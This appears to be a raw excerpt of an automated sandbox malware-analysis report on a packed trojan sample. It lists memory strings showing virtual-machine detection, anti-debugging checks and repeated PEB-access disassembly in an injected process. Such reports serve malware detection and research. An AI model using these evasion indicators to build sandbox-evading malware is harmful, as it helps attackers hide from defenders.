Source: explorer.exe, 00000010.00000003.836052474.0000000006300000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: SearchUI.exe, 00000016.00000003.841016944.000001B8E4466000.00000004.00000001.sdmp	Binary or memory string: {7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\VMware\VMware Workstation\vmnetcfg.exe11073
Source: SearchUI.exe, 00000016.00000003.854498121.000001B8E47E8000.00000004.00000001.sdmp	Binary or memory string: vmware vsphere client
Source: explorer.exe, 00000002.00000000.700277860.0000000006650000.00000004.00000001.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: SearchUI.exe, 00000016.00000003.841016944.000001B8E4466000.00000004.00000001.sdmp	Binary or memory string: VMware.Workstation.vmplayer7859
Source: explorer.exe, 00000010.00000002.1046776940.000000000626D000.00000004.00000001.sdmp	Binary or memory string: _VMware_SATA_CD00#5&
Source: explorer.exe, 00000010.00000003.882389201.000000000F59B000.00000004.00000001.sdmp	Binary or memory string: 9Tm\Device\HarddiskVolume2\??\Volume{ef47ea26-ec76-4a6e-8680-9e53b539546d}\??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{e6e9dfd8-98f2-11e9-90ce-806e6f6e6963}\DosDevices\D:
Source: explorer.exe, 00000010.00000002.1047169993.000000000637F000.00000004.00000001.sdmp	Binary or memory string: VMware SATA CD004rFw
Source: SearchUI.exe, 00000016.00000002.899122155.000001B0CF010000.00000004.00000001.sdmp	Binary or memory string: \|hyper-v manager\|hyperv3631
Source: SecuriteInfo.com.Trojan.Packed2.42783.14936.exe, 00000000.00000002.687067868.0000000005620000.00000004.00000001.sdmp	Binary or memory string: vboxservicevbox)Microsoft Virtual PC
Source: SearchUI.exe, 00000016.00000003.843512340.000001B8E45F7000.00000004.00000001.sdmp	Binary or memory string: nh\|cmd112220\|disk cleanup\|cleanmgr.exe77726\|excel 2013\|microsoft office7310App12227\|default programs\|defult598712233\|defragment and optimize drives\|degrag6248\|file explorer\|window explorer70312378\|geforce experience\|shadowplay56352391\|geforce experience\|gforce652112409\|geforce experience\|nivi6501bwe!App12348\|get started\|windows 10 help3344\|google cloud sdk shell\|cmd1\|google drive\|googledrive6212App12414\|groove music\|open music71364!App12331\|groove music\|play music4514e12415\|hi-rez diagnostics and support\|hi rez2380\|file explorer\|where are my files6187\|file explorer\|windows explorer3803\|geforce experience\|nvide6593p12374\|get started\|windows help3912a!App12368\|hp aio printer remote\|hp printer273812342\|get started\|windows 10 tutorial451012372\|file explorer\|open file explorer710477\|geforce experience\|nvidia ge617112332\|geforce experience\|nvida644587\|global vpn client\|sonicwall423112398\|football manager 2015\|fm964App12322\|games for windows marketplace\|gfwl3576\|google earth\|googleearth640712395\|google play music\|google music2700e12346\|groove music\|play my music5618\|hi-rez diagnostics and support\|hirez1973\|geforce experience\|nvidia ex642612355\|file explorer\|file manager542312375\|groove music\|free music6921!App12337\|groove music\|xbox music67613\|free download manager\|fdm1938el12405\|geforce experience\|gefore5441p12329\|internet explorer\|explorer 11977912490\|intel(r) extreme tuning utility\|xtu1622\|internet explorer\|microsoft explorer8574\|internet download accelerator\|ida356\|internet explorer\|internet exploerer9667\|hyper-v manager\|hyper v4225e12505\|i.r.i.s. ocr registration\|iris12651\|idle (python gui)\|python idle4801\|image composite editor\|ice215App12525\|idle (python 3.5 32-bit)\|python idle50580\|internet download manager\|id,6987p12467\|internet explorer\|internet expolorer10417\|internet explorer\|internet exploreer9110\|internet explorer\|enternet explorer9276\|hp support assistant\|hps4890App12509\|internet download manager\|idman6644\|internet explorer\|interent explorer10096\|hp support assistant\|hp ass4255pp12449\|internet explorer\|internet explorere7950\|internet explorer\|internetexplorer8330524\|internet explorer\|inernet explorer985438\|internet explorer\|internet exlorer10013\|internet explorer\|intenet explorer9908421\|internet explorer\|internet eplorer9958\|internet explorer\|iexplorer.exe9535\|internet explorer\|internet explorer 117905\|internet explorer\|internet exploror10409\|internet explorer\|internet exporer8991\|internet explorer\|iexplore.exe7898\|internet explorer\|web browser10137\|internet explorer\|internet exployer853455\|internet explorer*\|internet browser10356Microsoft.WindowsScan_8wekyb3d8bbwe!AppMicrosoft.Windows.Photos_8wekyb3d8bbwe!AppMicrosoft.MinecraftUWP_8wekyb3d8bbwe!
Source: SecuriteInfo.com.Trojan.Packed2.42783.14936.exe, 00000000.00000002.686708823.0000000004B70000.00000002.00000001.sdmp, explorer.exe, 00000002.00000002.764657677.00000000058C0000.00000002.00000001.sdmp, WerFault.exe, 0000000A.00000002.765137858.000001EDC74E0000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: SearchUI.exe, 00000016.00000003.841016944.000001B8E4466000.00000004.00000001.sdmp	Binary or memory string: VMwareInc.VMwareViewClient_23chmsjxv380w!App11470
Source: SearchUI.exe, 00000016.00000003.841016944.000001B8E4466000.00000004.00000001.sdmp	Binary or memory string: VMware.View.Client10660
Source: explorer.exe, 00000010.00000003.906450432.000000000EEB0000.00000004.00000001.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}BE*
Source: explorer.exe, 00000010.00000003.906450432.000000000EEB0000.00000004.00000001.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}BZZ[
Source: explorer.exe, 00000010.00000002.1046384297.0000000006136000.00000004.00000001.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000
Source: explorer.exe, 00000010.00000003.782247022.0000000004CBD000.00000004.00000001.sdmp	Binary or memory string: 0ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging:

Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe

Code function: 1_2_00409A90 rdtsc

1_2_00409A90

Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe

Code function: 1_2_0040ACD0 LdrLoadDll,

1_2_0040ACD0

Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012D4120 mov eax, dword ptr fs:[00000030h]	1_2_012D4120
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012D4120 mov eax, dword ptr fs:[00000030h]	1_2_012D4120
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012D4120 mov eax, dword ptr fs:[00000030h]	1_2_012D4120
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012D4120 mov eax, dword ptr fs:[00000030h]	1_2_012D4120
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012D4120 mov ecx, dword ptr fs:[00000030h]	1_2_012D4120
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012E513A mov eax, dword ptr fs:[00000030h]	1_2_012E513A
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012E513A mov eax, dword ptr fs:[00000030h]	1_2_012E513A
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012B9100 mov eax, dword ptr fs:[00000030h]	1_2_012B9100
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012B9100 mov eax, dword ptr fs:[00000030h]	1_2_012B9100
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012B9100 mov eax, dword ptr fs:[00000030h]	1_2_012B9100
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012BC962 mov eax, dword ptr fs:[00000030h]	1_2_012BC962
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012BB171 mov eax, dword ptr fs:[00000030h]	1_2_012BB171
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012BB171 mov eax, dword ptr fs:[00000030h]	1_2_012BB171
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012DB944 mov eax, dword ptr fs:[00000030h]	1_2_012DB944
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012DB944 mov eax, dword ptr fs:[00000030h]	1_2_012DB944
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_013351BE mov eax, dword ptr fs:[00000030h]	1_2_013351BE
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_013351BE mov eax, dword ptr fs:[00000030h]	1_2_013351BE
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_013351BE mov eax, dword ptr fs:[00000030h]	1_2_013351BE
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_013351BE mov eax, dword ptr fs:[00000030h]	1_2_013351BE
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012E61A0 mov eax, dword ptr fs:[00000030h]	1_2_012E61A0
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012E61A0 mov eax, dword ptr fs:[00000030h]	1_2_012E61A0
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012D99BF mov ecx, dword ptr fs:[00000030h]	1_2_012D99BF
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012D99BF mov ecx, dword ptr fs:[00000030h]	1_2_012D99BF
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012D99BF mov eax, dword ptr fs:[00000030h]	1_2_012D99BF
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012D99BF mov ecx, dword ptr fs:[00000030h]	1_2_012D99BF
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012D99BF mov ecx, dword ptr fs:[00000030h]	1_2_012D99BF
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012D99BF mov eax, dword ptr fs:[00000030h]	1_2_012D99BF
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012D99BF mov ecx, dword ptr fs:[00000030h]	1_2_012D99BF
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012D99BF mov ecx, dword ptr fs:[00000030h]	1_2_012D99BF
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012D99BF mov eax, dword ptr fs:[00000030h]	1_2_012D99BF
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012D99BF mov ecx, dword ptr fs:[00000030h]	1_2_012D99BF
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012D99BF mov ecx, dword ptr fs:[00000030h]	1_2_012D99BF
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012D99BF mov eax, dword ptr fs:[00000030h]	1_2_012D99BF
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_013749A4 mov eax, dword ptr fs:[00000030h]	1_2_013749A4
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_013749A4 mov eax, dword ptr fs:[00000030h]	1_2_013749A4
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_013749A4 mov eax, dword ptr fs:[00000030h]	1_2_013749A4
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_013749A4 mov eax, dword ptr fs:[00000030h]	1_2_013749A4
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_013369A6 mov eax, dword ptr fs:[00000030h]	1_2_013369A6
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012EA185 mov eax, dword ptr fs:[00000030h]	1_2_012EA185
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012DC182 mov eax, dword ptr fs:[00000030h]	1_2_012DC182
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012E2990 mov eax, dword ptr fs:[00000030h]	1_2_012E2990
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012E4190 mov eax, dword ptr fs:[00000030h]	1_2_012E4190
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012BB1E1 mov eax, dword ptr fs:[00000030h]	1_2_012BB1E1
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012BB1E1 mov eax, dword ptr fs:[00000030h]	1_2_012BB1E1
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012BB1E1 mov eax, dword ptr fs:[00000030h]	1_2_012BB1E1
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_013441E8 mov eax, dword ptr fs:[00000030h]	1_2_013441E8
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012E002D mov eax, dword ptr fs:[00000030h]	1_2_012E002D
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012E002D mov eax, dword ptr fs:[00000030h]	1_2_012E002D
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012E002D mov eax, dword ptr fs:[00000030h]	1_2_012E002D
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012E002D mov eax, dword ptr fs:[00000030h]	1_2_012E002D
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012E002D mov eax, dword ptr fs:[00000030h]	1_2_012E002D
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012CB02A mov eax, dword ptr fs:[00000030h]	1_2_012CB02A
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012CB02A mov eax, dword ptr fs:[00000030h]	1_2_012CB02A
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012CB02A mov eax, dword ptr fs:[00000030h]	1_2_012CB02A
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012CB02A mov eax, dword ptr fs:[00000030h]	1_2_012CB02A
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012DA830 mov eax, dword ptr fs:[00000030h]	1_2_012DA830
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012DA830 mov eax, dword ptr fs:[00000030h]	1_2_012DA830
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012DA830 mov eax, dword ptr fs:[00000030h]	1_2_012DA830
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012DA830 mov eax, dword ptr fs:[00000030h]	1_2_012DA830
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_01337016 mov eax, dword ptr fs:[00000030h]	1_2_01337016
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_01337016 mov eax, dword ptr fs:[00000030h]	1_2_01337016
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_01337016 mov eax, dword ptr fs:[00000030h]	1_2_01337016
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_01384015 mov eax, dword ptr fs:[00000030h]	1_2_01384015
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_01384015 mov eax, dword ptr fs:[00000030h]	1_2_01384015
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_01372073 mov eax, dword ptr fs:[00000030h]	1_2_01372073
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_01381074 mov eax, dword ptr fs:[00000030h]	1_2_01381074
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012D0050 mov eax, dword ptr fs:[00000030h]	1_2_012D0050
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012D0050 mov eax, dword ptr fs:[00000030h]	1_2_012D0050
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012F90AF mov eax, dword ptr fs:[00000030h]	1_2_012F90AF
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012E20A0 mov eax, dword ptr fs:[00000030h]	1_2_012E20A0
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012E20A0 mov eax, dword ptr fs:[00000030h]	1_2_012E20A0
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012E20A0 mov eax, dword ptr fs:[00000030h]	1_2_012E20A0
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012E20A0 mov eax, dword ptr fs:[00000030h]	1_2_012E20A0
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012E20A0 mov eax, dword ptr fs:[00000030h]	1_2_012E20A0
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012E20A0 mov eax, dword ptr fs:[00000030h]	1_2_012E20A0
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012EF0BF mov ecx, dword ptr fs:[00000030h]	1_2_012EF0BF
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012EF0BF mov eax, dword ptr fs:[00000030h]	1_2_012EF0BF
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012EF0BF mov eax, dword ptr fs:[00000030h]	1_2_012EF0BF
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012B9080 mov eax, dword ptr fs:[00000030h]	1_2_012B9080
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_01333884 mov eax, dword ptr fs:[00000030h]	1_2_01333884
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_01333884 mov eax, dword ptr fs:[00000030h]	1_2_01333884
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012B58EC mov eax, dword ptr fs:[00000030h]	1_2_012B58EC
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012DB8E4 mov eax, dword ptr fs:[00000030h]	1_2_012DB8E4
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012DB8E4 mov eax, dword ptr fs:[00000030h]	1_2_012DB8E4
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012B40E1 mov eax, dword ptr fs:[00000030h]	1_2_012B40E1
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012B40E1 mov eax, dword ptr fs:[00000030h]	1_2_012B40E1
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012B40E1 mov eax, dword ptr fs:[00000030h]	1_2_012B40E1
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_0134B8D0 mov eax, dword ptr fs:[00000030h]	1_2_0134B8D0
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_0134B8D0 mov ecx, dword ptr fs:[00000030h]	1_2_0134B8D0
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_0134B8D0 mov eax, dword ptr fs:[00000030h]	1_2_0134B8D0
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_0134B8D0 mov eax, dword ptr fs:[00000030h]	1_2_0134B8D0
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_0134B8D0 mov eax, dword ptr fs:[00000030h]	1_2_0134B8D0
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_0134B8D0 mov eax, dword ptr fs:[00000030h]	1_2_0134B8D0
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012DA309 mov eax, dword ptr fs:[00000030h]	1_2_012DA309
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012DA309 mov eax, dword ptr fs:[00000030h]	1_2_012DA309
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012DA309 mov eax, dword ptr fs:[00000030h]	1_2_012DA309
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012DA309 mov eax, dword ptr fs:[00000030h]	1_2_012DA309
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012DA309 mov eax, dword ptr fs:[00000030h]	1_2_012DA309
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012DA309 mov eax, dword ptr fs:[00000030h]	1_2_012DA309
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012DA309 mov eax, dword ptr fs:[00000030h]	1_2_012DA309
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012DA309 mov eax, dword ptr fs:[00000030h]	1_2_012DA309
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012DA309 mov eax, dword ptr fs:[00000030h]	1_2_012DA309
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012DA309 mov eax, dword ptr fs:[00000030h]	1_2_012DA309
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012DA309 mov eax, dword ptr fs:[00000030h]	1_2_012DA309
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012DA309 mov eax, dword ptr fs:[00000030h]	1_2_012DA309
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012DA309 mov eax, dword ptr fs:[00000030h]	1_2_012DA309
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012DA309 mov eax, dword ptr fs:[00000030h]	1_2_012DA309
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012DA309 mov eax, dword ptr fs:[00000030h]	1_2_012DA309
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012DA309 mov eax, dword ptr fs:[00000030h]	1_2_012DA309
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012DA309 mov eax, dword ptr fs:[00000030h]	1_2_012DA309
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012DA309 mov eax, dword ptr fs:[00000030h]	1_2_012DA309
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012DA309 mov eax, dword ptr fs:[00000030h]	1_2_012DA309
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012DA309 mov eax, dword ptr fs:[00000030h]	1_2_012DA309
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012DA309 mov eax, dword ptr fs:[00000030h]	1_2_012DA309
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_0137131B mov eax, dword ptr fs:[00000030h]	1_2_0137131B
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012BDB60 mov ecx, dword ptr fs:[00000030h]	1_2_012BDB60
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012E3B7A mov eax, dword ptr fs:[00000030h]	1_2_012E3B7A
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012E3B7A mov eax, dword ptr fs:[00000030h]	1_2_012E3B7A
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_01388B58 mov eax, dword ptr fs:[00000030h]	1_2_01388B58
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012BDB40 mov eax, dword ptr fs:[00000030h]	1_2_012BDB40
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012BF358 mov eax, dword ptr fs:[00000030h]	1_2_012BF358
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012E4BAD mov eax, dword ptr fs:[00000030h]	1_2_012E4BAD
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012E4BAD mov eax, dword ptr fs:[00000030h]	1_2_012E4BAD
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012E4BAD mov eax, dword ptr fs:[00000030h]	1_2_012E4BAD
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_01385BA5 mov eax, dword ptr fs:[00000030h]	1_2_01385BA5
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012C1B8F mov eax, dword ptr fs:[00000030h]	1_2_012C1B8F
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012C1B8F mov eax, dword ptr fs:[00000030h]	1_2_012C1B8F
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012E138B mov eax, dword ptr fs:[00000030h]	1_2_012E138B
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012E138B mov eax, dword ptr fs:[00000030h]	1_2_012E138B
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012E138B mov eax, dword ptr fs:[00000030h]	1_2_012E138B
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_0136D380 mov ecx, dword ptr fs:[00000030h]	1_2_0136D380
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012DEB9A mov eax, dword ptr fs:[00000030h]	1_2_012DEB9A
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012DEB9A mov eax, dword ptr fs:[00000030h]	1_2_012DEB9A
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012E2397 mov eax, dword ptr fs:[00000030h]	1_2_012E2397
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_0137138A mov eax, dword ptr fs:[00000030h]	1_2_0137138A
